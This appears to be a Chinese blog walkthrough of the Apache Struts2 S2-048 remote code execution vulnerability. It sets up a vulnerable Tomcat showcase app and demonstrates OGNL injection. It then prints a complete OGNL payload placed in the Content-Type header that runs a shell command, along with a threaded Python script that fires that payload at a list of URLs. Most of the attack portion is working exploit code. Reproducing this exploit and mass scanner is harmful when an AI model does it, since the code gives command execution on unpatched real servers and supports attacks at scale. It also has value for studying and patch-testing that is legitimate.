这个是7月份爆出的漏洞了。
可以远程执行代码,想想就很厉害的样子。
一、环境搭建。
tomcat / jdk /Struts-2.3.24-apps.zip
tomcat和jdk直接跳过了 包含漏洞环境的安装包下载地址:http://download.csdn.net/download/qq1124794084/9969407
下载解压完成后,把struts2-showcase.war包放在 webapp目录下,然后重启tomcat就自动解压了
这时就可以通过浏览器直接访问漏洞触发点http://ip地址:8080/struts2-showcase/index.action
Gangster Name这个地方就是漏洞的触发点了。 我们试试用OGNL表达式,例如${9/3}
可以看到${9/3}被执行了。
所以我们可以在提交这个请求的时候截包,修改为我们漏洞利用的代码。
截包后我们把Content-type修改为我们的POC代码
%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
POC是我网上找的。
可以看到,我在POC中请求执行cmd的ipconfig命令,,结果返回了。
python s-048测试脚本:
# -*- encoding: utf-8 -*-
import requests
import threading
def poc(url):
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.104 Safari/537.36",
"Content-Type":"%{(#szgx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo struts-048').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.close())}"
}
data = {'name':'name=%24%7B9%2F3%7D&age=111&__checkbox_bustedBefore=true&description=111'}
try:
r = requests.post(url,headers=header,data=data,timeout=5)
html = r.text
except:
html = ""
if "struts-048" in html:
print "[%s]发现Struts 048漏洞"%url
if __name__ == "__main__":
with open("url.txt","r") as f:
urls = f.readlines()
for url in urls:
threading.Thread(target=poc,args=(url,)).start()